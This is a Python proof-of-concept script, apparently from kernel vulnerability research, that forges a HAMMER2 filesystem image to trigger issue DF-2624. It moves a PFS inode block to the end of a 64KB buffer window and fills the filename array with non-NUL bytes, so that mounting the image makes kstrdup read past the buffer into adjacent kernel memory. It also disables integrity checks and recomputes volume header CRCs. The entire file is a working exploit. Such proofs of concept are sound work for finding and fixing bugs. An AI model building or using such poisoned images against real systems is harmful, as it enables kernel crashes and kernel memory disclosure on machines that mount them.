#!/usr/bin/env python3
"""
DF-2624 PoC image forger.

Base: newfs_hammer2 -L testvol + `hammer2 pfs-create /mnt/h2x/poison`.
The second PFS's inode block is RELOCATED to the tail of a fresh 64KB
window (data_off = WIN|0xFC00|10, exactly in-window per the io KKASSERT),
and bytes [0x100,0x400) (the whole filename array + the inode's blockset
area) are filled with non-NUL bytes.  On mount, hammer2_update_pmps()
pfsallocs EVERY PFS under sroot -> pfsalloc() does
    pmp->pfs_names[j] = kstrdup(ripdata->filename, M_HAMMER2);   (:495)
with NO NUL anywhere in the 256-byte filename array, so strlen/kstrdup
runs through the rest of the inode block and off the END of the 64KB DIO
buffer into adjacent kernel memory until it happens to find a zero byte.

Ancestors (poison inode bref, sroot bref) -> CHECK_NONE; volhdr CRCs
recomputed.  The poison bref's mirror_tid is zeroed so recovery does not
recurse into it.  PFSROOT stays SET so fixup_pfses skips it (this PoC
isolates DF-2624).
"""
import struct, sys
sys.path.insert(0, '/tmp/opencode/dfv')
from h2common import *

WIN = 0x2200000

def main():
    base, out = sys.argv[1:3]
    img = bytearray(open(base, 'rb').read())
    vols, sbr = find_sroot(img)
    sblk, kids = sroot_children(img, sbr)
    for br in kids:
        tag = ""
        if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK):
            tag = " name=%r" % inode_name(img, br['data_off'] & ~RADIX_MASK)
        print("[walk] sroot slot @ %#x: type=%d key=%#x data_off=%#x%s"
              % (br['off'], br['type'], br['key'], br['data_off'], tag))

    poison = None
    for br in kids:
        if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK):
            nm = inode_name(img, br['data_off'] & ~RADIX_MASK)
            if nm != b'testvol':
                poison = br
                pname = nm
    assert poison, "poison PFS not found under sroot"
    pblk = poison['data_off'] & ~RADIX_MASK
    pradix = poison['data_off'] & RADIX_MASK
    print("[walk] poison PFS %r inode @ %#x radix %d flags %#x mirror_tid %#x"
          % (pname, pblk, pradix, poison['flags'], poison['mirror_tid']))

    assert all(b == 0 for b in img[WIN:WIN + 0x10000]), "window not empty"

    # relocate inode block to window tail
    img[WIN + 0xFC00: WIN + 0xFC00 + 1024] = img[pblk:pblk + 1024]
    # poison: filename array (0x100..0x1FF) + blockset area (0x200..0x3FF)
    # all non-NUL; keep meta (0x00..0xFF) from the original inode
    img[WIN + 0xFC00 + 0x100: WIN + 0xFC00 + 0x400] = b'\x50' * 0x300

    struct.pack_into('<Q', img, poison['off'] + 0x20, WIN | 0xFC00 | 10)
    struct.pack_into('<Q', img, poison['off'] + 0x10, 0)     # mirror_tid=0
    struct.pack_into('<B', img, poison['off'] + 0x01, 0x00)  # CHECK_NONE
    for v in vols:
        struct.pack_into('<B', img, v + 0x201, 0x00)         # sroot CHECK_NONE
    recompute_volhdr_crcs(img)
    open(out, 'wb').write(img)
    print("[+] poison inode moved %#x -> %#x (tail of window %#x), "
          "[0x100,0x400)=0x50*0x300, mirror_tid=0" % (pblk, WIN | 0xFC00, WIN))
    print("[+] wrote %s" % out)

if __name__ == '__main__':
    main()
